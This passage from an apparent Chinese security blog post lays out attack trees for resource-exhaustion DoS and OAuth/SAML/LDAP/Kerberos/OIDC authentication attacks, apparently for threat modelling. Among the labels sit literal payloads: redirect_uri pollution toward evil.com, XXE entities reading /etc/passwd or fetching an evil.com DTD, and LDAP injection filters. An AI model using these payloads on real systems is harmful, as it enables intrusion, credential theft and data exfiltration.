│     │  ├─ KEYS * 阻塞
│     │  ├─ 扫描全部数据
│     │  └─ 单线程Redis卡死
│     ├─ FLUSHALL/FLUSHDB
│     │  ├─ 清空所有缓存
│     │  └─ 服务完全失效
│     └─ 慢查询命令
│        ├─ SORT大集合
│        ├─ SUNION/SINTER复杂运算
│        └─ Lua脚本死循环
│
├─ OR分支E:第三方服务攻击
│  │
│  ├─ OAuth服务攻击
│  │  ├─ 授权流程滥用
│  │  │  ├─ 频繁发起授权
│  │  │  ├─ OAuth服务器压力
│  │  │  ├─ 回调接口压力
│  │  │  └─ Token交换压力
│  │  ├─ 授权码洪水
│  │  │  ├─ 大量授权码生成
│  │  │  ├─ 存储空间耗尽
│  │  │  └─ 过期清理压力
│  │  └─ Access Token泄露
│  │     ├─ 频繁刷新Token
│  │     ├─ 黑名单膨胀
│  │     └─ 验证压力
│  │
│  ├─ 短信网关攻击
│  │  ├─ 费用消耗
│  │  │  ├─ 大量发送短信
│  │  │  ├─ 国际短信(高费用)
│  │  │  ├─ 预算耗尽
│  │  │  └─ 服务停用
│  │  ├─ 运营商封禁
│  │  │  ├─ 高频发送
│  │  │  ├─ 垃圾短信投诉
│  │  │  ├─ 号码拉黑
│  │  │  └─ 通道关闭
│  │  └─ API配额耗尽
│  │     ├─ 达到日发送上限
│  │     ├─ 限流触发
│  │     └─ 服务降级
│  │
│  ├─ 邮件服务攻击
│  │  ├─ SMTP服务器压力
│  │  │  ├─ 邮件队列堆积
│  │  │  ├─ 发送速率受限
│  │  │  ├─ 服务器超载
│  │  │  └─ 邮件延迟
│  │  ├─ IP信誉下降
│  │  │  ├─ 大量发送触发反垃圾
│  │  │  ├─ SPF/DKIM验证失败
│  │  │  ├─ 进入黑名单
│  │  │  └─ 邮件进垃圾箱
│  │  └─ 服务商封禁
│  │     ├─ 滥用条款违规
│  │     ├─ 账户暂停
│  │     └─ 邮件功能失效
│  │
│  └─ CDN/云服务攻击
│     ├─ 流量费用攻击
│     │  ├─ 大文件下载
│     │  ├─ 高带宽消耗
│     │  ├─ 跨区域流量
│     │  └─ 费用爆炸
│     ├─ API配额耗尽
│     │  ├─ 云服务API调用
│     │  ├─ 达到限额
│     │  └─ 服务降级
│     └─ WAF规则触发
│        ├─ 大量恶意请求
│        ├─ 自动封禁
│        └─ 正常流量误伤
│
└─ OR分支F:资源耗尽攻击
   │
   ├─ CPU耗尽
   │  ├─ 密码哈希计算
   │  │  ├─ bcrypt高成本
   │  │  ├─ Argon2内存密集
   │  │  ├─ 大量并发登录
   │  │  └─ CPU 100%
   │  ├─ 加密解密操作
   │  │  ├─ JWT签名验证
   │  │  ├─ TLS握手
   │  │  ├─ AES加解密
   │  │  └─ RSA运算
   │  ├─ 正则表达式DoS
   │  │  ├─ 回溯爆炸
   │  │  ├─ 复杂模式匹配
   │  │  └─ 输入放大
   │  └─ 算法复杂度攻击
   │     ├─ 哈希碰撞
   │     ├─ 排序算法
   │     └─ 深度递归
   │
   ├─ 内存耗尽
   │  ├─ 大对象攻击
   │  │  ├─ 上传大文件
   │  │  ├─ 大JSON解析
   │  │  ├─ 大XML处理
   │  │  └─ 内存泄露
   │  ├─ 对象累积
   │  │  ├─ Session对象
   │  │  ├─ 缓存对象
   │  │  ├─ 连接对象
   │  │  └─ OOM崩溃
   │  └─ 内存碎片
   │     ├─ 频繁分配释放
   │     ├─ 可用内存减少
   │     └─ GC压力
   │
   ├─ 磁盘耗尽
   │  ├─ 日志文件
   │  │  ├─ 应用日志
   │  │  ├─ 访问日志
   │  │  ├─ 错误日志
   │  │  ├─ 审计日志
   │  │  └─ 磁盘100%
   │  ├─ 临时文件
   │  │  ├─ 上传文件
   │  │  ├─ Session文件
   │  │  ├─ 缓存文件
   │  │  └─ 未清理
   │  └─ 数据库文件
   │     ├─ 数据文件增长
   │     ├─ 日志文件增长
   │     └─ 备份文件堆积
   │
   ├─ 网络带宽耗尽
   │  ├─ 流量洪水
   │  │  ├─ 大量请求
   │  │  ├─ 下载攻击
   │  │  └─ 带宽打满
   │  ├─ 慢速攻击
   │  │  ├─ Slowloris
   │  │  ├─ Slow POST
   │  │  ├─ Slow Read
   │  │  └─ 连接占用
   │  └─ 放大攻击
   │     ├─ 小请求大响应
   │     ├─ 反射放大
   │     └─ 带宽消耗
   │
   ├─ 文件描述符耗尽
   │  ├─ 连接数耗尽
   │  │  ├─ TCP连接
   │  │  ├─ 数据库连接
   │  │  ├─ 文件句柄
   │  │  └─ ulimit限制
   │  ├─ Socket耗尽
   │  │  ├─ WebSocket
   │  │  ├─ SSE长连接
   │  │  └─ 端口耗尽
   │  └─ 进程/线程耗尽
   │     ├─ 线程池满
   │     ├─ 进程数超限
   │     └─ 服务无响应
   │
   └─ 时间资源攻击
      ├─ 长时间请求
      │  ├─ 超时设置过大
      │  ├─ 无超时限制
      │  └─ 资源长期占用
      ├─ 定时任务攻击
      │  ├─ 触发大量计划任务
      │  ├─ 任务队列堆积
      │  └─ 调度器崩溃
      └─ 备份/维护窗口
         ├─ 备份时攻击
         ├─ 维护期间攻击
         └─ 恢复能力丧失

OAuth/SSO劫持与滥用

【目标:通过OAuth/SSO漏洞获取未授权访问】
│
├─ AND分支A:OAuth授权流程攻击
│  │
│  ├─ 授权码劫持
│  │  ├─ Redirect URI操纵
│  │  │  ├─ 开放重定向漏洞
│  │  │  │  ├─ 未验证redirect_uri
│  │  │  │  ├─ 参数污染绕过
│  │  │  │  │  ├─ redirect_uri=evil.com&redirect_uri=good.com
│  │  │  │  │  ├─ 数组参数注入
│  │  │  │  │  └─ URL编码绕过(%2F变/)
│  │  │  │  ├─ 子域名劫持
│  │  │  │  │  ├─ CNAME悬挂记录
│  │  │  │  │  ├─ 过期域名接管
│  │  │  │  │  └─ 通配符域名滥用
│  │  │  │  ├─ 路径遍历
│  │  │  │  │  ├─ redirect_uri=good.com/../evil.com
│  │  │  │  │  ├─ URL解析差异利用
│  │  │  │  │  └─ Null字节注入
│  │  │  │  └─ Fragment混淆
│  │  │  │     ├─ good.com#@evil.com
│  │  │  │     └─ 浏览器解析歧义
│  │  │  │
│  │  │  ├─ HTTP vs HTTPS降级
│  │  │  │  ├─ 降级到HTTP劫持
│  │  │  │  ├─ 中间人攻击
│  │  │  │  ├─ SSL Strip攻击
│  │  │  │  └─ 协议混淆绕过
│  │  │  │
│  │  │  └─ 域名混淆
│  │  │     ├─ IDN同形字攻击
│  │  │     │  ├─ goοgle.com(希腊字母ο)
│  │  │     │  └─ аpple.com(西里尔字母а)
│  │  │     ├─ Punycode混淆
│  │  │     │  ├─ xn--pple-43d.com
│  │  │     │  └─ 视觉欺骗
│  │  │     └─ 相似域名
│  │  │        ├─ gooogle.com(多个o)
│  │  │        ├─ g00gle.com(数字0)
│  │  │        └─ google.co(短域名)
│  │  │
│  │  ├─ 授权码拦截
│  │  │  ├─ 网络层拦截
│  │  │  │  ├─ 公共WiFi中间人
│  │  │  │  ├─ 恶意路由器
│  │  │  │  ├─ DNS劫持
│  │  │  │  ├─ ARP欺骗
│  │  │  │  └─ BGP劫持
│  │  │  │
│  │  │  ├─ 浏览器层拦截
│  │  │  │  ├─ 恶意浏览器扩展
│  │  │  │  │  ├─ 读取所有页面权限
│  │  │  │  │  ├─ 监听网络请求
│  │  │  │  │  └─ 修改HTTP响应
│  │  │  │  ├─ XSS窃取
│  │  │  │  │  ├─ document.location读取code
│  │  │  │  │  ├─ window.history窃取
│  │  │  │  │  └─ 外发到攻击者服务器
│  │  │  │  ├─ 浏览器历史记录
│  │  │  │  │  ├─ 物理访问设备
│  │  │  │  │  ├─ 云同步泄露
│  │  │  │  │  └─ 浏览器数据库读取
│  │  │  │  └─ Referer头泄露
│  │  │  │     ├─ 第三方资源加载
│  │  │  │     ├─ 外链点击
│  │  │  │     └─ 分析服务收集
│  │  │  │
│  │  │  └─ 应用层拦截
│  │  │     ├─ 移动端应用劫持
│  │  │     │  ├─ Deep Link劫持
│  │  │     │  ├─ Custom URL Scheme冲突
│  │  │     │  ├─ App Links接管
│  │  │     │  └─ 恶意应用监听
│  │  │     ├─ 客户端日志泄露
│  │  │     │  ├─ Console日志
│  │  │     │  ├─ 调试日志
│  │  │     │  └─ 崩溃报告
│  │  │     └─ 代理工具拦截
│  │  │        ├─ Burp Suite
│  │  │        ├─ Charles Proxy
│  │  │        └─ Fiddler
│  │  │
│  │  └─ 授权码重放攻击
│  │     ├─ 授权码未一次性使用
│  │     │  ├─ 多次兑换Token
│  │     │  ├─ 竞态条件利用
│  │     │  └─ 未标记已使用
│  │     ├─ 授权码过期时间过长
│  │     │  ├─ 10分钟+有效期
│  │     │  ├─ 窃取后有时间使用
│  │     │  └─ 攻击窗口扩大
│  │     └─ 授权码未绑定客户端
│  │        ├─ 其他客户端可使用
│  │        ├─ PKCE未实施
│  │        └─ code_verifier缺失
│  │
│  ├─ State参数攻击
│  │  ├─ CSRF攻击
│  │  │  ├─ 无state参数
│  │  │  │  ├─ 预先授权攻击者账号
│  │  │  │  ├─ 受害者触发授权
│  │  │  │  └─ 绑定到攻击者账号
│  │  │  ├─ state未验证
│  │  │  │  ├─ 服务端不校验
│  │  │  │  ├─ 任意state可通过
│  │  │  │  └─ 客户端验证绕过
│  │  │  └─ state可预测
│  │  │     ├─ 固定state值
│  │  │     ├─ 简单递增
│  │  │     └─ 时间戳种子
│  │  │
│  │  ├─ State泄露
│  │  │  ├─ URL中泄露
│  │  │  ├─ Referer头泄露
│  │  │  ├─ 日志记录
│  │  │  └─ 错误信息暴露
│  │  │
│  │  └─ State固定攻击
│  │     ├─ 诱导使用指定state
│  │     ├─ 预先发起授权
│  │     └─ 劫持授权流程
│  │
│  ├─ Scope权限提升
│  │  ├─ Scope参数篡改
│  │  │  ├─ 添加额外scope
│  │  │  │  ├─ scope=read write delete
│  │  │  │  ├─ scope=user admin
│  │  │  │  └─ 分隔符注入
│  │  │  ├─ 通配符滥用
│  │  │  │  ├─ scope=*
│  │  │  │  ├─ scope=user:*
│  │  │  │  └─ 正则表达式注入
│  │  │  └─ 未授权scope请求
│  │  │     ├─ 请求管理员权限
│  │  │     ├─ 绕过权限检查
│  │  │     └─ 业务逻辑漏洞
│  │  │
│  │  ├─ Scope验证缺失
│  │  │  ├─ 授权时不校验
│  │  │  ├─ Token使用时不校验
│  │  │  ├─ 越权使用API
│  │  │  └─ 默认授予所有权限
│  │  │
│  │  └─ 增量授权滥用
│  │     ├─ 多次授权累积权限
│  │     ├─ 每次添加新scope
│  │     ├─ 未限制总权限
│  │     └─ 权限合并漏洞
│  │
│  ├─ Token劫持与滥用
│  │  ├─ Access Token泄露
│  │  │  ├─ Implicit Grant流程
│  │  │  │  ├─ Token在URL Fragment
│  │  │  │  ├─ JavaScript可读取
│  │  │  │  ├─ Referer泄露风险
│  │  │  │  └─ 浏览器历史记录
│  │  │  ├─ Token在响应体
│  │  │  │  ├─ XSS窃取
│  │  │  │  ├─ 日志记录
│  │  │  │  └─ 错误信息暴露
│  │  │  ├─ Token在日志
│  │  │  │  ├─ 应用日志
│  │  │  │  ├─ Web服务器日志
│  │  │  │  ├─ 代理日志
│  │  │  │  └─ 第三方分析工具
│  │  │  └─ Token存储不安全
│  │  │     ├─ LocalStorage(XSS可读)
│  │  │     ├─ SessionStorage
│  │  │     ├─ 明文Cookie
│  │  │     └─ 移动端SharedPreferences
│  │  │
│  │  ├─ Refresh Token滥用
│  │  │  ├─ 长期有效Token
│  │  │  │  ├─ 永久有效
│  │  │  │  ├─ 1年+有效期
│  │  │  │  └─ 窃取后长期使用
│  │  │  ├─ Token未绑定设备
│  │  │  │  ├─ 任意设备可用
│  │  │  │  ├─ 设备指纹缺失
│  │  │  │  └─ IP未校验
│  │  │  ├─ Token未轮换
│  │  │  │  ├─ 重复使用同一Token
│  │  │  │  ├─ 未检测异常
│  │  │  │  └─ 泄露风险高
│  │  │  └─ Refresh Token泄露
│  │  │     ├─ 传输未加密
│  │  │     ├─ 存储不安全
│  │  │     ├─ 备份文件包含
│  │  │     └─ 数据库泄露
│  │  │
│  │  └─ Token重放攻击
│  │     ├─ 缺少Nonce机制
│  │     ├─ 缺少时间戳验证
│  │     ├─ 未绑定客户端
│  │     └─ 跨域使用Token
│  │
│  └─ PKCE绕过(移动端/SPA)
│     ├─ Code Verifier泄露
│     │  ├─ 客户端代码反编译
│     │  ├─ 内存dump
│     │  ├─ 调试模式泄露
│     │  └─ 网络抓包
│     ├─ PKCE未强制实施
│     │  ├─ 可选择不使用PKCE
│     │  ├─ 回退到传统流程
│     │  └─ 兼容性漏洞
│     └─ Code Challenge算法降级
│        ├─ plain方法(不哈希)
│        ├─ 弱哈希算法
│        └─ 算法协商漏洞
│
├─ OR分支B:SAML SSO攻击
│  │
│  ├─ SAML Assertion操纵
│  │  ├─ XML签名绕过
│  │  │  ├─ 签名包装攻击
│  │  │  │  ├─ 原始Assertion + 伪造Assertion
│  │  │  │  ├─ 签名验证路径错误
│  │  │  │  └─ 处理第一个未签名Assertion
│  │  │  ├─ 签名排除攻击
│  │  │  │  ├─ 关键字段未签名
│  │  │  │  ├─ 修改未签名属性
│  │  │  │  └─ Conditions标签未保护
│  │  │  ├─ 注释注入
│  │  │  │  ├─ XML注释干扰解析
│  │  │  │  ├─ <!-- -->绕过签名
│  │  │  │  └─ 解析器差异利用
│  │  │  └─ Namespace混淆
│  │  │     ├─ xmlns重定义
│  │  │     ├─ 前缀冲突
│  │  │     └─ 默认命名空间覆盖
│  │  │
│  │  ├─ XXE注入
│  │  │  ├─ 外部实体注入
│  │  │  │  ├─ <!ENTITY xxe SYSTEM "file:///etc/passwd">
│  │  │  │  ├─ 读取本地文件
│  │  │  │  ├─ SSRF攻击内网
│  │  │  │  └─ 拒绝服务(Billion Laughs)
│  │  │  ├─ 参数实体注入
│  │  │  │  ├─ <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">
│  │  │  │  └─ 外带数据
│  │  │  └─ XInclude注入
│  │  │     └─ <xi:include href="file:///etc/passwd"/>
│  │  │
│  │  ├─ Assertion重放攻击
│  │  │  ├─ 缺少Nonce/ID检查
│  │  │  │  ├─ 重复使用Assertion
│  │  │  │  ├─ 未记录已用ID
│  │  │  │  └─ 并发重放
│  │  │  ├─ 时间窗口过大
│  │  │  │  ├─ NotBefore/NotOnOrAfter宽松
│  │  │  │  ├─ 5分钟+窗口
│  │  │  │  └─ 时钟同步漏洞
│  │  │  └─ Conditions未验证
│  │  │     ├─ AudienceRestriction未检查
│  │  │     ├─ 跨应用使用
│  │  │     └─ SubjectConfirmation缺失
│  │  │
│  │  └─ 用户属性篡改
│  │     ├─ AttributeStatement修改
│  │     │  ├─ 修改用户名
│  │     │  ├─ 修改邮箱
│  │     │  ├─ 修改角色
│  │     │  └─ 添加管理员权限
│  │     ├─ NameID替换
│  │     │  ├─ 替换为管理员ID
│  │     │  ├─ 格式不验证
│  │     │  └─ 跨域映射错误
│  │     └─ 自定义属性注入
│  │        ├─ 添加is_admin=true
│  │        ├─ 注入SQL代码
│  │        └─ XSS Payload
│  │
│  ├─ SAML协议漏洞
│  │  ├─ Metadata劫持
│  │  │  ├─ IdP Metadata篡改
│  │  │  │  ├─ 替换公钥证书
│  │  │  │  ├─ 修改SSO端点
│  │  │  │  └─ 中间人攻击
│  │  │  ├─ Metadata未签名
│  │  │  │  ├─ 任意修改
│  │  │  │  └─ 完整性无保障
│  │  │  └─ Metadata自动更新漏洞
│  │  │     ├─ HTTP获取(无HTTPS)
│  │  │     ├─ 未验证来源
│  │  │     └─ 缓存投毒
│  │  │
│  │  ├─ SP漏洞
│  │  │  ├─ ACS端点未保护
│  │  │  │  ├─ 任意Assertion可提交
│  │  │  │  ├─ 无来源验证
│  │  │  │  └─ CSRF攻击
│  │  │  ├─ RelayState篡改
│  │  │  │  ├─ 开放重定向
│  │  │  │  ├─ XSS注入
│  │  │  │  └─ 会话固定
│  │  │  └─ 登出漏洞
│  │  │     ├─ 单点登出失效
│  │  │     ├─ Session未清理
│  │  │     └─ Token未撤销
│  │  │
│  │  └─ IdP漏洞
│  │     ├─ 用户枚举
│  │     │  ├─ 登录响应差异
│  │     │  ├─ 时间侧信道
│  │     │  └─ 错误信息泄露
│  │     ├─ 身份混淆
│  │     │  ├─ 多IdP环境
│  │     │  ├─ NameID格式冲突
│  │     │  └─ 用户映射错误
│  │     └─ 授权绕过
│  │        ├─ 认证后授权未检查
│  │        ├─ 默认授予访问
│  │        └─ 权限提升
│  │
│  └─ 会话管理漏洞
│     ├─ Session绑定缺失
│     │  ├─ SAML会话未绑定HTTP会话
│     │  ├─ 会话固定攻击
│     │  └─ 会话转移
│     ├─ 超时处理不当
│     │  ├─ SAML会话过期但HTTP会话仍有效
│     │  ├─ 时钟偏移问题
│     │  └─ 永久会话
│     └─ 单点登出失败
│        ├─ LogoutRequest未处理
│        ├─ 后信道登出失败
│        ├─ 部分应用未登出
│        └─ Token未全局撤销
│
├─ OR分支C:LDAP/AD集成攻击
│  │
│  ├─ LDAP注入
│  │  ├─ 认证绕过
│  │  │  ├─ 用户名注入
│  │  │  │  ├─ *)(uid=*))(|(uid=*
│  │  │  │  ├─ admin)(&(password=*
│  │  │  │  └─ 逻辑运算符注入
│  │  │  ├─ 密码字段注入
│  │  │  │  ├─ *)|(password=*
│  │  │  │  └─ 永真条件
│  │  │  └─ Filter注入
│  │  │     ├─ (|(uid=*)(cn=admin))
│  │  │     └─ 复杂嵌套
│  │  │
│  │  ├─ 信息泄露
│  │  │  ├─ 枚举用户
│  │  │  │  ├─ (uid=*)
│  │  │  │  ├─ 通配符搜索
│  │  │  │  └─ 批量获取
│  │  │  ├─ 获取敏感属性
│  │  │  │  ├─ userPassword泄露
│  │  │  │  ├─ memberOf信息
│  │  │  │  └─ 组织结构
│  │  │  └─ 盲注
│  │  │     ├─ 基于响应时间
│  │  │     └─ 基于错误差异
│  │  │
│  │  └─ 权限提升
│  │     ├─ 修改用户属性
│  │     │  ├─ 添加到管理员组
│  │     │  ├─ 修改memberOf
│  │     │  └─ 提升权限等级
│  │     └─ 修改组成员
│  │        ├─ 添加用户到特权组
│  │        └─ 批量赋权
│  │
│  ├─ Kerberos攻击
│  │  ├─ Pass-the-Ticket
│  │  │  ├─ TGT窃取
│  │  │  │  ├─ 内存提取
│  │  │  │  ├─ lsass.exe dump
│  │  │  │  └─ Mimikatz工具
│  │  │  ├─ 服务票据窃取
│  │  │  │  ├─ klist导出
│  │  │  │  └─ 会话劫持
│  │  │  └─ 票据注入
│  │  │     ├─ 导入到当前会话
│  │  │     └─ 跨主机使用
│  │  │
│  │  ├─ Pass-the-Hash
│  │  │  ├─ NTLM Hash窃取
│  │  │  │  ├─ SAM数据库提取
│  │  │  │  ├─ NTDS.dit文件
│  │  │  │  └─ 网络抓包
│  │  │  └─ Hash直接认证
│  │  │     ├─ 无需明文密码
│  │  │     └─ SMB/LDAP认证
│  │  │
│  │  ├─ Golden Ticket
│  │  │  ├─ krbtgt Hash获取
│  │  │  │  ├─ 域控制器入侵
│  │  │  │  ├─ DCSync攻击
│  │  │  │  └─ 数据库提取
│  │  │  └─ 伪造TGT
│  │  │     ├─ 任意用户身份
│  │  │     ├─ 任意权限
│  │  │     └─ 长期有效(10年)
│  │  │
│  │  └─ Silver Ticket
│  │     ├─ 服务账户Hash获取
│  │     ├─ 伪造服务票据
│  │     ├─ 访问特定服务
│  │     └─ 无需KDC交互
│  │
│  └─ AD环境特有攻击
│     ├─ GPO劫持
│     │  ├─ 修改组策略
│     │  ├─ 计划任务注入
│     │  ├─ 登录脚本篡改
│     │  └─ 批量横向移动
│     ├─ ACL滥用
│     │  ├─ GenericAll权限
│     │  ├─ WriteDACL权限
│     │  ├─ 修改对象权限
│     │  └─ 权限继承利用
│     └─ 信任关系利用
│        ├─ 跨域信任
│        ├─ 林间信任
│        ├─ SID History注入
│        └─ 域间提权
│
└─ OR分支D:OpenID Connect攻击
   │
   ├─ ID Token操纵
   │  ├─ JWT攻击(同攻击树1)
   │  │  ├─ alg=none绕过
   │  │  ├─ 密钥混淆
   │  │  ├─ 密钥泄露
   │  │  └─ Payload篡改
   │  ├─ Nonce绕过
   │  │  ├─ 缺少nonce检查
   │  │  ├─ 重放ID Token
   │  │  ├─ 跨会话使用
   │  │  └─ CSRF攻击
   │  └─ 签名验证缺失
   │     ├─ 未验证签名
   │     ├─ 信任客户端
   │     └─ 自签名接受
   │
   ├─ UserInfo端点攻击
   │  ├─ 越权访问
   │  │  ├─ Token未校验
   │  │  ├─ 访问他人信息
   │  │  └─ 批量枚举
   │  ├─ 信息泄露
   │  │  ├─ 过度返回信息
   │  │  ├─ 敏感属性暴露
   │  │  └─ PII泄露
   │  └─ 注入攻击
   │     ├─ 参数注入
   │     └─ 响应篡改
   │
   ├─ Discovery机制滥用
   │  ├─ 配置信息泄露
   │  │  ├─ .well-known端点
   │  │  ├─ 暴露所有端点
   │  │  ├─ 支持算法信息
   │  │  └─ 攻击面暴露
   │  └─ 元数据篡改
   │     ├─ 中间人修改
   │     ├─ 配置投毒
   │     └─ 降级攻击
   │
   └─ 混合流程攻击
      ├─ Response Type混淆
      │  ├─ code+id_token流程
      │  ├─ code+token流程
      │  ├─ 验证不一致
      │  └─ 降级攻击
      ├─ Response Mode攻击
      │  ├─ form_post注入
      │  ├─ fragment泄露
      │  └─ query参数篡改
      └─ 客户端类型混淆
         ├─ Public客户端假冒Confidential
         ├─ 客户端Secret泄露
         └─ 动态客户端注册滥用
posted @ 2026-01-13 20:59  Rodericklog  阅读(14)  评论(0)    收藏  举报